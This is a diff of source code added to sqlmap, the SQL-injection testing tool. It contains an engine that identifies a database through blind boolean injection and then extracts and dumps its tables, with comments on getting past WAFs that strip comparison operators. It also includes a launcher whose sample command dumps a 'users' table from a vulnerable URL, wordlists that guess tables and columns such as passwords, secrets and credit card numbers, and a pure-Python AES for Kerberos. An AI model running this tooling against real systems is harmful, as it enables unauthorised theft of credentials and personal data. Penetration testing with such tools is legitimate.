+                logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows")
+                return
+            if getattr(conf, "limitStart", None):
+                logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range")
+                return
+            # the SAME qualified reference for count and dump, so a non-default schema can't make
+            # the count hit a different (unqualified) table than the dump (#8).
+            qtable = self._engine().qualify(conf.tbl, db)
+            if conf.limitStop:
+                limit = conf.limitStop
+            else:
+                try:
+                    limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10
+                except (OracleUndecided, OverflowError):
+                    limit = 1 << 30             # unknown count -> effectively "all" (keyset stops at end)
+                logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)"))
+            result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit)
+            if not result or not result["columns"]:
+                logger.error("Esperanto could not dump table '%s'" % conf.tbl)
+                return
+            table_data = {}
+            for i, name in enumerate(result["columns"]):
+                values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]]
+                width = max([len(name)] + [len(v) for v in values]) if values else len(name)
+                table_data[name] = {"length": width, "values": values}
+            table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
+            if not result["complete"]:
+                logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
+            if not result.get("exact", True):       # coverage may be complete yet content inexact
+                logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent "
+                               "comparison - case/accents may not be byte-exact" % conf.tbl)
+            kb.data.dumpedTable = table_data
+            self._flushNotes()
+            conf.dumper.dbTableValues(kb.data.dumpedTable)
+
+    return _EsperantoHandler()

extra/esperanto/oracle.py

@@ -0,0 +1,136 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from contextlib import contextmanager
+
+from .records import OracleUndecided
+from .records import QueryBudgetExceeded
+
+
+class _OracleCore(object):
+    """_OracleCore
+
+    the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific)."""
+
+    @contextmanager
+    def _probePhase(self):
+        # mark a candidate-rung laddering section (discovery or lazy _ensure*): while
+        # active, a host oracle may safely read an undecidable probe as False ("this
+        # rung is unusable"), whereas outside it an undecidable READ must stay undecided
+        prev = self._probing
+        self._probing = True
+        try:
+            yield
+        finally:
+            self._probing = prev
+
+    def _emit(self, value):
+        # per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes
+        # (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal
+        # probe value as "retrieved: <x>" reads as a stray, out-of-context line to the user.
+        if self._progress and value not in (None, "") and not self._probing:
+            try:
+                self._progress(value)
+            except Exception:
+                pass
+
+    def _emitChar(self, partial, total):
+        # live per-character feedback DURING a long extraction, so the user sees movement
+        # instead of a frozen prompt (a whole framed row is one long silent read otherwise) -
+        # suppressed during probe phases (see _emit) so a discovery probe doesn't animate
+        if self._charProgress and not self._probing:
+            try:
+                self._charProgress(partial, total)
+            except Exception:
+                pass
+
+    def _probe(self, condition):
+        # ONE tri-state evaluation: True / False / None(persistent error). a raised
+        # oracle is retried (transient) before being reported as an error - a
+        # wrong-dialect probe legitimately errors, but a flaky connection must not
+        # be allowed to read as a definitive False. counts every actual oracle call.
+        for _ in range(self.retries + 1):
+            if self.max_queries is not None and self._queries >= self.max_queries:
+                raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries)
+            self._queries += 1
+            try:
+                observed = self.oracle(condition)
+            except Exception:
+                continue
+            # STRICT: only a real bool is an observation. None/0/''/other must not be
+            # coerced to False (that silently corrupts bisection) - treat as undecided.
+            if observed is True or observed is False:
+                return observed
+        return None
+
+    def _ask(self, condition):
+        # decided boolean, or raise OracleUndecided - NEVER manufacture False from an
+        # unobservable probe (that would silently corrupt blind bisection). the oracle
+        # must itself return False for unsupported/rejected SQL; a raised probe means
+        # "could not observe" and, absent a quorum, is fatal.
+        if self.quorum <= 1:
+            r = self._probe(condition)
+            if self.verbose:
+                print("  [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition))
+            if r is None:
+                # while laddering CANDIDATE rungs an undecidable/erroring probe (oracle
+                # returned None OR raised - both surface here as None) means "this rung is
+                # unusable", so read it as False and let the ladder move on; only OUTSIDE
+                # probing (reading committed data) is it fatal, so a flaky read never
+                # silently coerces to a definite bit
+                if self._probing:
+                    return False
+                self._errors += 1
+                raise OracleUndecided("oracle could not decide: %s" % condition)
+            return r
+
+        samples = 2 * self.quorum - 1
+        yes = no = tries = 0
+        while (yes + no) < samples and tries < samples + self.quorum + 2:
+            tries += 1
+            r = self._probe(condition)
+            if r is None:
+                self._errors += 1
+                continue
+            yes, no = (yes + 1, no) if r else (yes, no + 1)
+            if yes >= self.quorum or no >= self.quorum:
+                break
+        if self.verbose:
+            state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E")
+            print("  [%s %d:%d] %s" % (state, yes, no, condition))
+        if yes >= self.quorum:
+            return True
+        if no >= self.quorum:
+            return False
+        if self._probing:               # candidate rung the vote couldn't settle -> unusable, not fatal
+            return False
+        raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no))
+
+    def _sub(self, expr, pos, length):
+        # pos is always passed 1-based; adjust for a 0-based dialect if discovered
+        p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1
+        return self.dialect.substring[1].format(expr=expr, pos=p, len=length)
+
+    def _len(self, expr):
+        return self.dialect.length[1].format(expr=expr)
+
+    def _sanity(self):
+        return self._ask("1=1") and not self._ask("1=2") and \
+               self._ask("'a'='a'") and not self._ask("'a'='b'")
+
+    def _exists(self, source, column="1", alias=None):
+        # does `source` (a table/catalog) - and optionally `column` in it - resolve?
+        # WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
+        # it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
+        # for empty tables too. `column` is passed BARE so a nonexistent one errors,
+        # rather than being taken as a string literal (SQLite quirk) and passing every
+        # fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare
+        # candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...)
+        # or an unrelated in-scope name - an alias-qualified unknown is always an error.
+        if alias:
+            return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias))
+        return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))

extra/esperanto/records.py

@@ -0,0 +1,319 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+class OracleUndecided(RuntimeError):
+    """The oracle gave no reliable True/False after retries/voting - a transport or
+    observation failure, NOT a definitive answer. Raised so blind extraction fails
+    CLOSED instead of converging on plausible-but-wrong data from a manufactured
+    False. (A wrong-dialect/unsupported probe must be reported as False by the
+    oracle itself; exceptions are reserved for 'could not observe'.)"""
+
+
+class NumericOutOfRange(OverflowError):
+    """A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below).
+    Raised so a bounded search never invents an in-range boundary value (saturating to
+    `hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length
+    measurement converts it to (ceiling, truncated=True); integer extraction re-raises."""
+
+
+class Cap(object):
+    """A discovered primitive: (name, template) PLUS measured semantic properties.
+    Indexable like the old (name, template) tuple so existing call sites keep working
+    (`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts -
+    e.g. length unit=characters|bytes, substring index_base, charcode semantics."""
+    __slots__ = ("name", "template", "props")
+
+    def __init__(self, name, template, **props):
+        self.name, self.template, self.props = name, template, props
+
+    def __getitem__(self, i):
+        return (self.name, self.template)[i]
+
+    def get(self, key, default=None):
+        return self.props.get(key, default)
+
+    def __repr__(self):
+        extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else ""
+        return "%s(%s)" % (self.name, extra.strip() or self.template)
+
+
+class Integrity(object):
+    """How much the engine PROVED about a recovered value - separating 'the walk finished'
+    from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can
+    be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy
+    collation). Anything used as executable SQL metadata or a paging boundary requires EXACT."""
+    EXACT = "exact"                      # proven byte-identical to the source value (or a proven NULL)
+    WHOLE_BUT_AMBIGUOUS = "ambiguous"    # every position visited, but case/accent is uncertain
+    TRUNCATED = "truncated"              # a bounded prefix; the source continues
+    UNRESOLVED = "unresolved"            # a character could not be recovered (U+FFFD present)
+    FAILED = "failed"                    # could not observe / verify (e.g. whole-value check failed)
+
+
+# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the
+# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings.
+_AMBIGUOUS_WARNINGS = ("case", "collation")
+_U_REPL = u"\uFFFD"
+
+
+class ExtractResult(object):
+    """Structured extraction outcome - keeps NULL, empty, truncated and failed
+    distinct (str-like so `str(r)`/truthiness still read naturally)."""
+    __slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings")
+
+    def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None):
+        self.value = value
+        self.is_null = is_null
+        self.complete = complete
+        self.truncated = truncated
+        self.queries = queries
+        self.warnings = warnings or []
+
+    @property
+    def integrity(self):
+        # classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated /
+        # unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent
+        # (value=None, is_null=True, complete=False) can never read as EXACT.
+        if self.truncated:
+            return Integrity.TRUNCATED
+        if self.value is not None and _U_REPL in self.value:
+            return Integrity.UNRESOLVED
+        if not self.complete:                        # a hard warning / failed verify -> not exact
+            return Integrity.FAILED
+        if self.value is None:
+            return Integrity.EXACT if self.is_null else Integrity.FAILED
+        if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS):
+            return Integrity.WHOLE_BUT_AMBIGUOUS
+        return Integrity.EXACT
+
+    @property
+    def exact(self):
+        # True ONLY when the recovered bytes are proven identical to the source. Required for
+        # any value that becomes executable SQL (identifier, qualifier, exact literal).
+        return self.integrity == Integrity.EXACT
+
+    def __str__(self):
+        return "" if self.value is None else self.value
+
+    def __bool__(self):
+        return bool(self.value)
+
+    __nonzero__ = __bool__               # py2
+
+    def __repr__(self):
+        return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)"
+                % (self.value, self.is_null, self.integrity, self.truncated, self.queries,
+                   " warnings=%r" % self.warnings if self.warnings else ""))
+
+
+class BulkResult(object):
+    """List-like bulk-enumeration outcome that also reports completeness against an
+    independent COUNT (so a truncated dump is visible, not silently short)."""
+    __slots__ = ("values", "expected", "complete")
+
+    def __init__(self, values, expected=None, complete=True):
+        self.values = values
+        self.expected = expected
+        self.complete = complete
+
+    def __iter__(self):
+        return iter(self.values)
+
+    def __len__(self):
+        return len(self.values)
+
+    def __getitem__(self, i):
+        return self.values[i]
+
+    def __repr__(self):
+        return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected))
+
+
+class Dialect(object):
+    """Discovered target profile - the synthesized 'queries.xml row'."""
+
+    __slots__ = ("concat", "substring", "length", "bytelen", "textcast",
+                 "coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset",
+                 "bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
+                 "identity", "catalog", "catalogEnum", "family", "product",
+                 "version", "evidence", "notes")
+
+    def __init__(self):
+        self.identQuote = None      # (open, close) identifier-quote chars, or None
+        self.prefix = None          # (op, multi, single) LIKE/GLOB fallback, or None
+        self.concat = None          # (name, template)
+        self.substring = None
+        self.length = None
+        self.bytelen = None         # (name, template) byte length (vs char length)
+        self.textcast = None        # (name, template) scalar -> text
+        self.coalesce = None        # (name, template) NULL guard
+        self.charcode = None        # None -> no code fn (direct-compare mode)
+        self.charfrom = None
+        self.hexfn = None           # (name, template) for hex/byte extraction
+        self.binwrap = None         # (name, template) byte-ordered comparison wrapper
+        self.charset = None         # Python codec for the DB's DECLARED charset (authoritative hex decode)
+        self.bulkAgg = None         # (name, template) row-aggregation for bulk enum
+        self.dual = None            # (name, from-suffix) tableless-SELECT skeleton
+        self.compare = None         # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
+        self.ordered = False        # 'b' > 'a' holds (lexicographic bisection ok)
+        self.identity = {}
+        self.catalog = None
+        self.catalogEnum = {}       # {kind: (name_col, source, filter)}
+        self.family = None          # from the catalog probe
+        self.product = None         # best-guess product (the detective verdict)
+        self.version = None         # extracted banner string
+        self.evidence = []          # [(signal, implication), ...]
+        self.notes = []
+
+    def __repr__(self):
+        pick = lambda x: x[0] if x else None
+        return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r "
+                "catalog=%r product=%r)" % (
+                    pick(self.concat), pick(self.substring), pick(self.length),
+                    self.compare, pick(self.dual), self.catalog,
+                    self.product or self.family))
+
+
+class InferenceStrategy(object):
+    """An immutable, host-consumable rendering of a discovered dialect.
+
+    This is the crystallization esperanto is really for: the discovery half produces
+    ONE frozen strategy, and a host inference engine (ideally sqlmap's existing
+    bisection - which already owns threading, hashDB resume, prediction, and the
+    known-answer reliability litmus) drives the loop by calling these PURE render_*
+    methods. No oracle here, no retrieval loop - just SQL construction from the
+    discovered primitives. Frozen after construction so worker threads can share it.
+
+    The reference host loop `hostExtract()` below drives extraction using ONLY a
+    strategy + an oracle, with no dependency on Esperanto's own retrieval code.
+
+    SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof.
+    `hostExtract()` drives the code/collation/ordinal/equality char modes under an
+    ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring-
+    derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only
+    (LIKE floor) or membership-only extraction, and the frozen field set does not yet
+    carry every discovered semantic (hex-encoding confidence, IN support, wildcard
+    semantics, substring/length units, cast bounds). Those modes/semantics must be added
+    - or the claim narrowed - before this can be called a complete interface; the
+    long-term direction is predicate renderers driven by sqlmap's own inference engine.
+    """
+
+    _FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
+               "substring", "index_base", "length", "charcode", "charcode_sem",
+               "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash",
+               "comparator", "cmp_template", "exact_witness")
+
+    def __init__(self, **kw):
+        for f in self._FIELDS:
+            object.__setattr__(self, f, kw.get(f))
+        object.__setattr__(self, "_frozen", True)
+
+    def __setattr__(self, *a):                       # immutable
+        raise AttributeError("InferenceStrategy is frozen")
+
+    # -- pure SQL construction (no oracle) ----------------------------------
+    def substr(self, expr, pos, length=1):
+        p = pos if self.index_base == 1 else pos - 1
+        return self.substring.format(expr=expr, pos=p, len=length)
+
+    def renderLength(self, expr):
+        return self.length.format(expr=expr)
+
+    def renderIsNull(self, expr):
+        return "(%s) IS NULL" % expr
+
+    def renderCharExists(self, expr, pos):
+        # a character exists at 1-based pos: its 1-char substring is non-empty. Uses '='
+        # only (no '>'/'<'), and reads False for a past-end substring whether the engine
+        # returns '' or NULL there - so length can be derived when there is no length fn.
+        return "NOT ((%s)='')" % self.substr(expr, pos)
+
+    def renderHex(self, expr):
+        return self.hexfn.format(expr=expr) if self.hexfn else None
+
+    def renderCode(self, expr, pos):
+        # scalar code point of the char at pos (None unless a code fn was found)
+        return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
+
+    def renderGt(self, expr, n, high=None):
+        # "expr > n" via the DISCOVERED comparator, so a host driving this strategy
+        # survives a WAF that strips '>'/'<' exactly as esperanto's own loop does.
+        # BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't.
+        if self.comparator == "between" and high is not None:
+            return "%s BETWEEN %d AND %d" % (expr, n + 1, high)
+        if self.cmp_template:
+            return self.cmp_template.format(expr=expr, n=n)
+        return "%s>%d" % (expr, n)
+
+    def renderCharCmp(self, expr, pos, ch, op=">"):
+        # boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
+        # is available (else the target's own collation)
+        one = self.substr(expr, pos)
+        if self.binwrap:
+            return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch)))
+        return "%s%s%s" % (one, op, self.lit(ch))
+
+    def renderExactEq(self, left, right):
+        # whole-value byte-exact equality (hex > binary wrapper > plain)
+        if self.hexfn:
+            return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right))
+        if self.binwrap:
+            return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right))
+        return "(%s)=(%s)" % (left, right)
+
+    def lit(self, value):
+        s = value.replace("\\", "\\\\") if self.backslash else value
+        return "'%s'" % s.replace("'", "''")
+
+    def buildLiteral(self, value):
+        if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value):
+            parts = [self.charfrom.format(code=ord(c)) for c in value]
+            out = parts[0]
+            for p in parts[1:]:
+                out = self.concat.format(a=out, b=p)
+            return out
+        return self.lit(value)
+
+    def quoteIdent(self, name):
+        if not self.identquote:
+            return name
+        o, c = self.identquote
+        return "%s%s%s" % (o, name.replace(c, c * 2), c)
+
+    def asQueriesRow(self):
+        """The sqlmap queries.xml-shaped mapping - the concrete integration hook.
+        These four templates are what sqlmap's inference/error/union machinery reads
+        from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the
+        char-code comparison through the DISCOVERED comparator, so a strategy that survives
+        a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership
+        mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate
+        interface, not this 4-field row)."""
+        inference = None
+        if self.charcode:
+            code = self.charcode.format(expr=self.substr("%s", "%d"))
+            if self.comparator == "membership":
+                inference = None
+            elif self.cmp_template:                          # operator-free rung (SIGN/ABS/...)
+                inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d")
+            elif self.comparator == "between":
+                inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code
+            else:                                            # gt
+                inference = "%s>%%d" % code
+        return {
+            "length": self.length,
+            "substring": self.substring,
+            "inference": inference,
+            "case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
+            "hex": self.hexfn,
+        }
+
+    def __repr__(self):
+        return "InferenceStrategy(product=%r compare=%r catalog=%r)" % (
+            self.product, self.compare_mode, self.catalog)
+
+
+class QueryBudgetExceeded(OracleUndecided):
+    """The configured hard oracle-call budget was exhausted mid-operation."""

extra/esperanto/run.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this
+directory - no sqlmap, no PYTHONPATH, no `-m` incantation:
+
+    python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --tables --dump -T users
+    python run.py --self-test
+    python run.py --live                 # local DBMS dev harness
+
+The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine),
+so the whole directory can be copied elsewhere and still run. sqlmap uses the very same
+package via `from extra.esperanto import buildHandler`, handing the engine its own boolean
+oracle (checkBooleanExpression); this launcher is only for standalone use.
+"""
+
+import importlib
+import os
+import sys
+
+# make this package importable by its own (folder) name from any working directory, so
+# the relative imports inside resolve, then hand off to the CLI in __main__
+_HERE = os.path.dirname(os.path.abspath(__file__))
+sys.path.insert(0, os.path.dirname(_HERE))
+main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main
+
+if __name__ == "__main__":
+    sys.exit(main())

extra/esperanto/wordlist.py

@@ -0,0 +1,77 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Common table/column names for the brute-force fallback used when the system catalog
+is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is
+the "know nothing about the schema, guess the usual names" path - the equivalent of
+sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are
+preferred when this package runs inside the repo; the bundled curated lists below are
+the self-contained fallback so the standalone CLI works with no external files.
+"""
+
+import os
+
+
+# curated, most-common first; kept deliberately small so brute-forcing stays practical
+# over a slow blind oracle (sqlmap's full lists are used instead when available)
+_BUNDLED_TABLES = (
+    "users", "user", "admin", "administrator", "accounts", "account", "members",
+    "member", "customers", "customer", "clients", "client", "people", "persons",
+    "employees", "staff", "contacts", "profiles", "profile", "sessions", "session",
+    "orders", "order", "products", "product", "items", "item", "categories",
+    "category", "cart", "carts", "invoices", "payments", "transactions", "coupons",
+    "rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post",
+    "articles", "pages", "page", "comments", "messages", "message", "news", "blog",
+    "blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file",
+    "uploads", "images", "documents", "media", "config", "configuration", "settings",
+    "setting", "options", "preferences", "roles", "role", "permissions", "groups",
+    "group", "tokens", "token", "secrets", "secret", "credentials", "passwords",
+    "keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs",
+    "log", "events", "event", "audit", "audit_log", "history", "activity", "data",
+    "records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags",
+)
+
+
+_BUNDLED_COLUMNS = (
+    "id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user",
+    "login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd",
+    "pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail",
+    "first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname",
+    "full_name", "surname", "display_name", "phone", "mobile", "tel", "address",
+    "addr", "street", "city", "country", "state", "zip", "zipcode", "postcode",
+    "dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin",
+    "level", "active", "is_active", "enabled", "disabled", "banned", "status",
+    "verified", "created", "created_at", "created_on", "updated", "updated_at",
+    "modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time",
+    "token", "api_key", "apikey", "session", "secret", "key", "value", "data",
+    "content", "body", "text", "title", "subject", "description", "comment", "note",
+    "notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer",
+    "cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry",
+    "amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code",
+    "type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings",
+)
+
+
+def _fromFile(fname):
+    # sqlmap's own wordlist when this runs inside the repo (data/txt/<fname>).
+    # located relative to this file: extra/esperanto/ -> ../../data/txt/
+    path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname)
+    try:
+        with open(path) as fh:
+            names = [line.strip() for line in fh if line.strip() and not line.startswith("#")]
+        return names or None
+    except (IOError, OSError):
+        return None
+
+
+def commonTables():
+    """Candidate table names, most-common first. sqlmap's list if present, else bundled."""
+    return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES)
+
+
+def commonColumns():
+    """Candidate column names, most-common first. sqlmap's list if present, else bundled."""
+    return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS)

extra/kerberos/__init__.py

@@ -0,0 +1,6 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""

extra/kerberos/aes.py

@@ -0,0 +1,174 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Dependency-free AES (FIPS-197) block cipher with CBC mode, supporting 128- and 256-bit keys. It is
+# the primitive underneath Kerberos' AES-CTS-HMAC-SHA1-96 (RFC 3962) etypes, kept pure-Python so
+# '--auth-type=Negotiate' needs no third-party crypto library. Validated against the FIPS-197
+# known-answer vectors. Python 2.7 / 3.x.
+#
+# The state is a flat list of 16 ints in AES column-major order: byte i holds row (i % 4), column
+# (i // 4), i.e. column c occupies positions [4*c : 4*c + 4].
+
+def _gmul(a, b):
+    """Multiplication in GF(2**8) with the AES reduction polynomial 0x11b."""
+
+    p = 0
+    for _ in range(8):
+        if b & 1:
+            p ^= a
+        high = a & 0x80
+        a = (a << 1) & 0xff
+        if high:
+            a ^= 0x1b
+        b >>= 1
+    return p
+
+# GF(2**8) log/exp tables (generator 0x03) -> multiplicative inverse -> S-box (affine transform),
+# computed rather than transcribed so there is no 256-entry table to get wrong
+_EXP = [0] * 256
+_LOG = [0] * 256
+_x = 1
+for _i in range(255):
+    _EXP[_i] = _x
+    _LOG[_x] = _i
+    _x = _gmul(_x, 0x03)
+
+def _inv(b):
+    return 0 if b == 0 else _EXP[(255 - _LOG[b]) % 255]
+
+def _rotl8(b, n):
+    return ((b << n) | (b >> (8 - n))) & 0xff
+
+SBOX = []
+for _b in range(256):
+    _v = _inv(_b)
+    SBOX.append(_v ^ _rotl8(_v, 1) ^ _rotl8(_v, 2) ^ _rotl8(_v, 3) ^ _rotl8(_v, 4) ^ 0x63)
+
+INV_SBOX = [0] * 256
+for _b in range(256):
+    INV_SBOX[SBOX[_b]] = _b
+
+RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d]
+
+def _xor(a, b):
+    if len(a) != len(b):                                   # equal-length by construction; fail loud (not via assert, which -O strips)
+        raise ValueError("XOR operands differ in length")
+    return bytes(bytearray(x ^ y for x, y in zip(bytearray(a), bytearray(b))))
+
+class AES(object):
+    """AES-128/256 block cipher (16-byte block) with a minimal CBC mode."""
+
+    def __init__(self, key):
+        key = bytearray(key)
+        if len(key) not in (16, 32):
+            raise ValueError("AES key must be 16 or 32 bytes")
+        self.rounds = 10 if len(key) == 16 else 14
+        self._roundKeys = self._expand(key)
+
+    def _expand(self, key):
+        nk = len(key) // 4
+        words = [list(key[4 * i:4 * i + 4]) for i in range(nk)]
+        for i in range(nk, 4 * (self.rounds + 1)):
+            temp = list(words[i - 1])
+            if i % nk == 0:
+                temp = temp[1:] + temp[:1]                          # RotWord
+                temp = [SBOX[b] for b in temp]                      # SubWord
+                temp[0] ^= RCON[i // nk - 1]
+            elif nk > 6 and i % nk == 4:
+                temp = [SBOX[b] for b in temp]
+            words.append([words[i - nk][j] ^ temp[j] for j in range(4)])
+
+        roundKeys = []
+        for r in range(self.rounds + 1):
+            rk = []
+            for c in range(4):
+                rk.extend(words[4 * r + c])
+            roundKeys.append(rk)
+        return roundKeys
+
+    @staticmethod
+    def _addRoundKey(state, rk):
+        for i in range(16):
+            state[i] ^= rk[i]
+
+    @staticmethod
+    def _shiftRows(s):
+        out = [0] * 16
+        for r in range(4):
+            for c in range(4):
+                out[r + 4 * c] = s[r + 4 * ((c + r) % 4)]
+        return out
+
+    @staticmethod
+    def _invShiftRows(s):
+        out = [0] * 16
+        for r in range(4):
+            for c in range(4):
+                out[r + 4 * c] = s[r + 4 * ((c - r) % 4)]
+        return out
+
+    @staticmethod
+    def _mixColumns(s):
+        out = [0] * 16
+        for c in range(4):
+            col = s[4 * c:4 * c + 4]
+            out[4 * c + 0] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3]
+            out[4 * c + 1] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3]
+            out[4 * c + 2] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3)
+            out[4 * c + 3] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2)
+        return out
+
+    @staticmethod
+    def _invMixColumns(s):
+        out = [0] * 16
+        for c in range(4):
+            col = s[4 * c:4 * c + 4]
+            out[4 * c + 0] = _gmul(col[0], 14) ^ _gmul(col[1], 11) ^ _gmul(col[2], 13) ^ _gmul(col[3], 9)
+            out[4 * c + 1] = _gmul(col[0], 9) ^ _gmul(col[1], 14) ^ _gmul(col[2], 11) ^ _gmul(col[3], 13)
+            out[4 * c + 2] = _gmul(col[0], 13) ^ _gmul(col[1], 9) ^ _gmul(col[2], 14) ^ _gmul(col[3], 11)
+            out[4 * c + 3] = _gmul(col[0], 11) ^ _gmul(col[1], 13) ^ _gmul(col[2], 9) ^ _gmul(col[3], 14)
+        return out
+
+    def encryptBlock(self, block):
+        state = list(bytearray(block))
+        self._addRoundKey(state, self._roundKeys[0])
+        for r in range(1, self.rounds):
+            state = self._mixColumns(self._shiftRows([SBOX[b] for b in state]))
+            self._addRoundKey(state, self._roundKeys[r])
+        state = self._shiftRows([SBOX[b] for b in state])
+        self._addRoundKey(state, self._roundKeys[self.rounds])
+        return bytes(bytearray(state))
+
+    def decryptBlock(self, block):
+        state = list(bytearray(block))
+        self._addRoundKey(state, self._roundKeys[self.rounds])
+        for r in range(self.rounds - 1, 0, -1):
+            state = [INV_SBOX[b] for b in self._invShiftRows(state)]
+            self._addRoundKey(state, self._roundKeys[r])
+            state = self._invMixColumns(state)
+        state = [INV_SBOX[b] for b in self._invShiftRows(state)]
+        self._addRoundKey(state, self._roundKeys[0])
+        return bytes(bytearray(state))
+
+    def cbcEncrypt(self, iv, data):
+        if len(data) % 16 != 0:
+            raise ValueError("CBC input is not block-aligned")
+        prev, out = iv, []
+        for i in range(0, len(data), 16):
+            prev = self.encryptBlock(_xor(data[i:i + 16], prev))
+            out.append(prev)
+        return b"".join(out)
+
+    def cbcDecrypt(self, iv, data):
+        if len(data) % 16 != 0:
+            raise ValueError("CBC input is not block-aligned")
+        prev, out = iv, []
+        for i in range(0, len(data), 16):
+            block = data[i:i + 16]
+            out.append(_xor(self.decryptBlock(block), prev))
+            prev = block
+        return b"".join(out)

extra/kerberos/client.py

@@ -0,0 +1,411 @@
+#!/usr/bin/env python
+
+"""
